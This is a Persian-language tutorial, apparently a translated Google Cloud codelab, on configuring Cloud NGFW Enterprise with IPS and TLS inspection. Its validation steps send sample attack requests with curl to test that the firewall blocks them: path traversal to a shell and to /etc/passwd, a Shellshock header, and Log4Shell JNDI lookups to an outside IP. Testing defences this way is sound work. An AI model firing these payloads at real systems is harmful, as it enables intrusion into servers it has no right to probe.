۱. مقدمه
فایروال نسل بعدی ابری (NGFW)
فایروال نسل بعدی ابری، یک سرویس فایروال کاملاً توزیعشده با قابلیتهای حفاظتی پیشرفته، تقسیمبندی خرد و پوشش فراگیر است که بارهای کاری گوگل کلود شما را از حملات داخلی و خارجی محافظت میکند.
فایروال نسل بعدی ابری (Cloud NGFW) مزایای زیر را دارد:
- سرویس فایروال توزیعشده: فایروال نسل بعدی ابری (Cloud NGFW) یک الزام مبتنی بر میزبان کاملاً توزیعشده و دارای وضعیت (stateful) را در هر بار کاری فراهم میکند تا معماری امنیتی بدون اعتماد (zero-trust) را فعال کند.
- پیکربندی و استقرار ساده: Cloud NGFW سیاستهای فایروال شبکه و سلسله مراتبی را پیادهسازی میکند که میتوانند به یک گره سلسله مراتب منابع متصل شوند. این سیاستها یک تجربه فایروال سازگار در سراسر سلسله مراتب منابع Google Cloud ارائه میدهند.
- کنترل جزئی و ریزبخشبندی: ترکیب سیاستهای فایروال و تگهای تحت مدیریت مدیریت هویت و دسترسی (IAM)، کنترل دقیقی را برای ترافیک شمال-جنوب و شرق-غرب، تا یک ماشین مجازی واحد، در سراسر شبکهها و سازمانهای ابر خصوصی مجازی (VPC) فراهم میکند.
فایروال نسل بعدی ابری (Cloud NGFW) در سطوح زیر موجود است:
- ملزومات فایروال نسل بعدی ابری
- استاندارد فایروال نسل بعدی ابر
- فایروال نسل بعدی ابری سازمانی
فایروال نسل بعدی ابری (Cloud NGFW Enterprise)
Cloud NGFW Enterprise سرویس پیشگیری از نفوذ (IPS)، یک قابلیت لایه ۷، را به ساختار توزیعشدهی Google Cloud Firewall اضافه میکند. از بازرسی TLS پشتیبانی میشود تا امکان بازرسی ترافیک رمزگذاریشدهی TLS فراهم شود.
اکنون میتوانید بازرسیهای قابل اعتماد لایه ۷ فایروال نسل بعدی (NGFW) را با کنترلهای جزئی و بدون ایجاد هیچ تغییری در معماری شبکه یا پیکربندیهای مسیریابی خود، پیادهسازی کنید.
برای فعالسازی و استقرار کنترل فایروال لایه ۷ با IPS، باید کارهای زیر را انجام دهید:
- مجموعهای از نقاط پایانی فایروال منطقهای مدیریتشده توسط گوگل کلود ایجاد کنید.
- به صورت اختیاری یک سیاست بازرسی TLS ایجاد کنید.
- در صورت تمایل، یک Trust Config ایجاد کنید.
- این نقاط پایانی را با شبکههای ابر خصوصی مجازی (VPC) که در آنها به سرویس Cloud NGFW Enterprise نیاز دارید، مرتبط کنید.
- تغییرات سادهای در سیاستهای فایروال و قوانین فایروال موجود خود ایجاد کنید تا پروفایلهای پیشگیری از تهدید را برای مسیرهای مختلف ترافیک مشخص کنید.
سیاستهای فایروال شبکه
سیاست فایروال شبکه به عنوان ظرفی برای قوانین فایروال عمل میکند. قوانین تعریف شده در یک سیاست فایروال شبکه تا زمانی که این سیاست با یک شبکه VPC مرتبط نشود، در هیچ کجا اجرا نمیشوند. هر شبکه VPC میتواند یک سیاست فایروال شبکه مرتبط با خود داشته باشد. سیاستهای فایروال شبکه از برچسبهای (یا فقط برچسبها) تحت مدیریت IAM در قوانین فایروال پشتیبانی میکنند که جایگزین برچسبهای شبکه فعلی میشوند و میتوانند برای ارائه هویت به بار کاری مورد استفاده قرار گیرند.
اشتراکگذاری سیاست فایروال شبکه در سراسر شبکهها و ادغام با تگهای تحت مدیریت IAM، پیکربندی و مدیریت فایروالها را تا حد زیادی ساده میکند.
با معرفی سیاست فایروال شبکه، سیاستهای فایروال گوگل کلود اکنون از اجزای زیر تشکیل شده است:
- سیاست سلسله مراتبی فایروال
- قوانین فایروال VPC
- سیاست فایروال شبکه ( جهانی و منطقهای )
سیاستهای سلسله مراتبی فایروال در گرههای سازمان و پوشه در سلسله مراتب منابع پشتیبانی میشوند، در حالی که قوانین فایروال VPC و سیاستهای فایروال شبکه در سطح VPC اعمال میشوند. تفاوت بزرگ بین قوانین فایروال VPC و سیاستهای فایروال شبکه این است که قوانین فایروال VPC فقط میتوانند به یک شبکه VPC واحد اعمال شوند، در حالی که سیاستهای فایروال شبکه میتوانند به یک VPC واحد یا گروهی از VPCها متصل شوند، از جمله مزایای دیگر مانند بهروزرسانیهای دستهای.
در نهایت، ما همچنین قوانین ضمنی فایروال را داریم که با هر شبکه VPC همراه است:
- یک قانون خروج که اقدام آن allow و مقصد آن 0.0.0.0/0 است.
- یک قانون ورود که عمل آن deny و منبع آن 0.0.0.0/0 است.
به طور پیش فرض، توالی اجرای در نمودار زیر نشان داده شده است:

لطفاً توجه داشته باشید که دستور اجرایی بین قوانین فایروال VPC و سیاست فایروال شبکه جهانی قابل جابجایی است. مشتریان میتوانند دستور اجرایی را در هر زمان با یک دستور gcloud مشخص کنند.
برچسبها
تگهای جدیدی که در قوانین سیاست فایروال شبکه ادغام شدهاند، منابع جفت کلید-مقدار هستند که در سطح سازمان یا پروژه سلسله مراتب منابع Google Cloud تعریف میشوند. چنین تگی شامل کنترلهای دسترسی IAM است که مشخص میکند چه کسی میتواند چه کاری را روی تگ انجام دهد. به عنوان مثال، مجوزهای مدیریت هویت و دسترسی (IAM) به فرد اجازه میدهد مشخص کند کدام مدیران میتوانند مقادیر را به تگها اختصاص دهند و کدام مدیران میتوانند تگها را به منابع متصل کنند. اگر یک قانون فایروال شبکه به یک تگ اشاره کند، برای اجرا باید به یک منبع اعمال شود.
تگها از مدل ارثبری منابع گوگل کلود پیروی میکنند، به این معنی که تگها و مقادیر آنها از والدینشان در سلسله مراتب به ارث میرسند. در نتیجه، تگها ممکن است در یک مکان ایجاد شوند و سپس توسط پوشهها و پروژههای دیگر در سراسر سلسله مراتب منابع استفاده شوند. برای جزئیات بیشتر در مورد تگها و محدودیت دسترسی، به این صفحه مراجعه کنید.
برچسبها را نباید با برچسبهای شبکه اشتباه گرفت. دومی رشتههایی هستند که میتوانند به نمونههای Compute Engine اضافه شوند؛ آنها با نمونه مرتبط هستند و با از رده خارج شدن نمونه، ناپدید میشوند. قوانین فایروال VPC ممکن است شامل برچسبهای شبکه باشند، اما از آنجایی که آنها به عنوان منابع ابری در نظر گرفته نمیشوند، مشمول کنترل دسترسی IAM نمیشوند.
توجه داشته باشید که برچسبها و برچسبهای تحت مدیریت IAM در این سند به جای یکدیگر استفاده میشوند.
آنچه خواهید ساخت
این آزمایشگاه کد به یک پروژه واحد و توانایی ایجاد یک شبکه VPC و همچنین مدیریت تعدادی از منابع شبکه و امنیت نیاز دارد. این نشان میدهد که چگونه Cloud NGFW Enterprise میتواند عملکرد IPS را از طریق موارد زیر ارائه دهد:
- بررسی جریانهای اینترنتی به سمت شمال با بازرسی TLS
- بازرسی جریانهای درون vpc [شرق-غرب] با بازرسی TLS
جریانهایی که باید بررسی شوند با استفاده از پارامترهای تطبیق فایروال ابری شامل ۵ تایی (IP منبع، IP مقصد، پروتکل، پورت منبع، پورت مقصد) و برچسبها انتخاب میشوند.

وضعیت نهایی پایگاه قوانین سیاست فایروال شبکه مشابه جدول زیر خواهد بود:
اولویت | جهت | هدف | منبع | مقصد | اکشن | نوع |
۱۰۰ | ورود | برچسب_سرور | بررسیهای سلامت | هر | اجازه دادن | ملزومات |
۲۰۰ | ورود | برچسب_مشتری، برچسب_سرور | آیپی | هر | اجازه دادن | ملزومات |
۸۰۰ | ورود | برچسب_سرور | ۱۰.۰.۰.۰/۲۴ | ۱۰.۰.۰.۰/۲۴ | بازرسی L7 | تصدی |
۸۵۰ | خروج | برچسب_مشتری | هر | ۱۰.۰.۰.۰/۲۴ | اجازه دادن | ملزومات |
۹۰۰ | خروج | برچسب_مشتری | هر | هر | بازرسی L7 | تصدی |
آنچه یاد خواهید گرفت
- نحوه ایجاد سیاست فایروال شبکه.
- نحوه ایجاد و استفاده از برچسبها با سیاست فایروال شبکه.
- نحوه پیکربندی و استفاده از Cloud NGFW Enterprise با بازرسی TLS.
آنچه نیاز دارید
- پروژه گوگل کلود
- آشنایی با پیادهسازی نمونهها و پیکربندی اجزای شبکه
- دانش پیکربندی فایروال VPC
۲. قبل از شروع
ایجاد/بهروزرسانی متغیرها
این آزمایشگاه کد از $variables برای کمک به پیادهسازی پیکربندی gcloud در Cloud Shell استفاده میکند.
در Cloud Shell، دستورات زیر را اجرا کنید و اطلاعات داخل پرانتز را در صورت نیاز جایگزین کنید:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
۳. فعال کردن APIها
اگر APIها را فعال نکردهاید، آنها را فعال کنید:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
۴. ایجاد نقطه پایانی سازمانی در Cloud NGFW
از آنجایی که ایجاد Cloud NGFW Enterprise Endpoint حدود 20 دقیقه طول میکشد، ابتدا ایجاد میشود و راهاندازی پایه میتواند به صورت موازی در حین ایجاد Endpoint انجام شود.
ایجاد پروفایل امنیتی و گروه پروفایل امنیتی:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
خروجی مورد انتظار:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
تأیید کنید که منابع با موفقیت ایجاد شدهاند:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
خروجی مورد انتظار (توجه داشته باشید که قالب خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
نقطه پایانی Cloud NGFW Enterprise را ایجاد کنید:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
دستور زیر را اجرا کنید تا تأیید شود که نقطه پایانی در حال ایجاد شدن است ( CREATING ).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
خروجی مورد انتظار:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
فرآیند ایجاد حدود ۲۰ دقیقه طول میکشد. برای ایجاد منابع مورد نیاز به صورت موازی، به بخش تنظیمات پایه بروید.
۵. چیدمان پایه
شبکه و زیرشبکه VPC
شبکه و زیرشبکه VPC
شبکه و زیرشبکه VPC را ایجاد کنید:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
NAT ابری
روتر ابری و دروازه Cloud NAT را ایجاد کنید:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
موارد
نمونههای کلاینت و وب-سرور را ایجاد کنید:
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
برچسبهای سطح پروژه
در صورت نیاز، مجوز tagAdmin را به کاربر اختصاص دهید:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
کلید و مقادیر Tag در سطح پروژه را ایجاد کنید:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
تگها را به نمونهها متصل کنید:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
سیاست جهانی فایروال شبکه
ایجاد یک سیاست فایروال شبکه جهانی:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
ایجاد فایروال ابری مورد نیاز، قوانین ضروری برای اجازه دادن به ترافیک از محدودههای پروکسی بررسی سلامت و آگاه از هویت :
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
قوانین فایروال ابری مورد نیاز را ایجاد کنید تا اجازه ورود ترافیک شرق به غرب / درون زیرشبکه از محدودههای خاص را بدهد (این قوانین برای فعال کردن Cloud NGFW Enterprise با بازرسی TLS بهروزرسانی خواهند شد):
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
سیاست فایروال ابری را به شبکه VPC مرتبط کنید:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
۶. انجمن نقطه پایانی فایروال ابری
در صورتی که هنوز متغیرهای محیطی را تعریف نکردهاید و/یا رویکرد اسکریپت را ترجیح میدهید، آنها را تعریف کنید.
تأیید کنید که ایجاد Cloud Firewall Endpoint با موفقیت انجام شده است. فقط زمانی ادامه دهید که وضعیت به صورت ACTIVE نشان داده شود (در طول ایجاد، وضعیت مورد انتظار CREATING است):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
خروجی مورد انتظار:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
نقطه پایانی فایروال ابری را به شبکه VPC مرتبط کنید:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
فرآیند اتصال حدود ۱۰ دقیقه طول میکشد. فقط زمانی به بخش TLS بروید که وضعیت به صورت ACTIVE (فعال) نمایش داده شود (در طول ایجاد، وضعیت مورد انتظار CREATING ( در حال ایجاد) باشد):
gcloud network-security firewall-endpoint-associations list
خروجی مورد انتظار پس از تکمیل:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
خروجی مورد انتظار:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
۷. پیکربندی منابع TLS
یک مخزن CA ایجاد کنید. این منبع برای نگهداری گواهی Root CA که برای NGFW Enterprise تولید میکنیم، استفاده خواهد شد.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
ایجاد گواهینامهی ریشه (Root CA). این گواهینامهی CA است که برای امضای گواهینامههای اضافی برای درخواستها از طریق NGFW Enterprise استفاده خواهد شد.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
اگر با پیام زیر مواجه شدید، به y پاسخ دهید:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
یک حساب کاربری سرویس ایجاد کنید. این حساب کاربری برای درخواست گواهینامه برای NGFW Enterprise استفاده خواهد شد:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
مجوزهای IAM را برای حساب سرویس تنظیم کنید:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
فایل YAML مربوط به TLS Policy را ایجاد کنید. این فایل حاوی اطلاعاتی در مورد منابع خاص خواهد بود:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
سیاست بازرسی TLS را وارد کنید:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
برای فعال کردن TLS، ارتباط نقطه پایانی را بهروزرسانی کنید:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
گواهی CA را دریافت کنید و آن را به مخزن CA کلاینت اضافه کنید:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
انتقال گواهی CA به کلاینت:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
از طریق SSH به ماشین مجازی متصل شوید، گواهی CA را به /usr/local/share/ca-certificates منتقل کنید و حافظه CA را بهروزرسانی کنید:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
به سمت ابر صدفی برگردید.
فرآیند امضای گواهی سرور:
در cloudshell، کتابخانه رمزنگاری Pyca را با استفاده از دستور pip نصب کنید:
pip install --user "cryptography>=2.2.0"
برای اینکه به Google Cloud SDK اجازه دهید از کتابخانه رمزنگاری Pyca استفاده کند، باید بستههای سایت را فعال کنید.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
ایجاد گواهی سرور:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
این دستور یک فایل cert.pem و key.pem در cloudshell ایجاد میکند. در مرحله بعد، cert و key را به سرور منتقل کنید.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
برای بهروزرسانی جزئیات گواهینامه آپاچی، به سرور SSH وصل شوید:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
انتقال گواهی و کلید به پوشه خاص:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
پیکربندی ssl را برای استفاده از گواهی امضا شده بهروزرسانی کنید:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
آپاچی را مجدداً راه اندازی کنید:
sudo systemctl restart apache2
وضعیت آپاچی را بررسی کنید:
sudo systemctl status apache2
باید فعال (در حال اجرا) باشد.
از ماشین مجازی خارج شوید و روی cloudshell ادامه دهید.
۸. اعتبارسنجی اتصال به شمال و شرق/غرب
دستورات زیر را در Cloud Shell اجرا کنید و IP های هدف مورد استفاده را یادداشت کنید:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
یک تب جدید باز کنید و از طریق IAP یک اتصال SSH به ماشین مجازی کلاینت برقرار کنید (باید متغیرها را در تب جدید تعریف کنید):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
دستورات زیر را اجرا کنید و IP های هدف مورد استفاده را یادداشت کنید. متغیرهایی را ایجاد کنید که مقادیر داخل پرانتز را با IP های ذکر شده از مرحله قبل جایگزین کنند و مطمئن شوید که آنها قابل دسترسی هستند:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
IP خصوصی را Curl کنید و مطمئن شوید که قابل دسترسی است:
curl https://$target_privateip --max-time 2
نتایج مورد انتظار برای درخواست curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
ارسال حملات نمونه به IP مورد نظر. وب سرور باید به تمام درخواستها پاسخ دهد و تأیید کند که هیچ بازرسی/پیشگیری سطح ۷ در محل وجود ندارد:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
نمونه نتایج مورد انتظار (IP خصوصی):
400 404 400 200 200
به طور مشابه، درخواستها را به یک مقصد اینترنتی ارسال کنید:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
نمونه نتایج مورد انتظار (مقصد اینترنتی):
400 404 400 403 403
از ترمینال ماشین مجازی خارج شوید و به cloud shell برگردید.
۹. ایجاد و بهروزرسانی قوانین فایروال برای بازرسی TLS
پیش از این، ما یک قانون فایروال را پیکربندی کردیم تا اجازه ورود ترافیک به سرور ما از زیرشبکه داخلی را بدهد. اکنون قوانین ورود موجود را بهروزرسانی میکنیم و اقدام را روی apply_security_profile_group تنظیم میکنیم. این کار بازرسی E/W L7 را با TLS فعال میکند:
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
یک قانون جدید برای بازرسی مسیر شمال L7 با TLS ایجاد کنید.
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
یک قانون جدید ایجاد کنید تا به EGRESS برای E/W اجازه دهد از بازرسی مضاعف جلوگیری کند.
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
۱۰. اعتبارسنجی بازرسی TLS در مسیر شمال
به برگه ماشین مجازی کلاینت برگردید یا دوباره متصل شوید:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
ارسال حملات نمونه به یک مقصد اینترنتی:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
هیچ پاسخی مطابق با خروجی مورد انتظار زیر دریافت نمیشود، که تأیید میکند حملات نمونه اکنون مسدود شدهاند:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
متغیر را از قبل روی IP سرور تنظیم کنید:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
ارسال درخواستهای TLS نمونه به سرور:
curl https://$target_privateip --max-time 2
خروجی مورد انتظار:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
چرا این درخواست ناموفق بود؟ دلیلش این است که فایروال گواهینامهای از سرور دریافت میکند که هیچ اعتمادی به آن وجود ندارد. اگر این اتفاق بیفتد، یک گواهی خودامضا شده به کلاینت ارسال میکند. برای فعال کردن اعتماد، باید گواهینامه CA را به عنوان بخشی از پیکربندی اعتماد اضافه کنیم.
به پوسته ابری برگردید.
۱۱. پیکربندی Trust Config
گواهی Root CA را دریافت کنید و آن را به عنوان یک متغیر با قالببندی مناسب تنظیم کنید.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
فایل YAML مربوط به Trust Config را پیکربندی کنید. این فایل حاوی جزئیات مربوط به اعتماد مانند گواهیهای CA است:
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
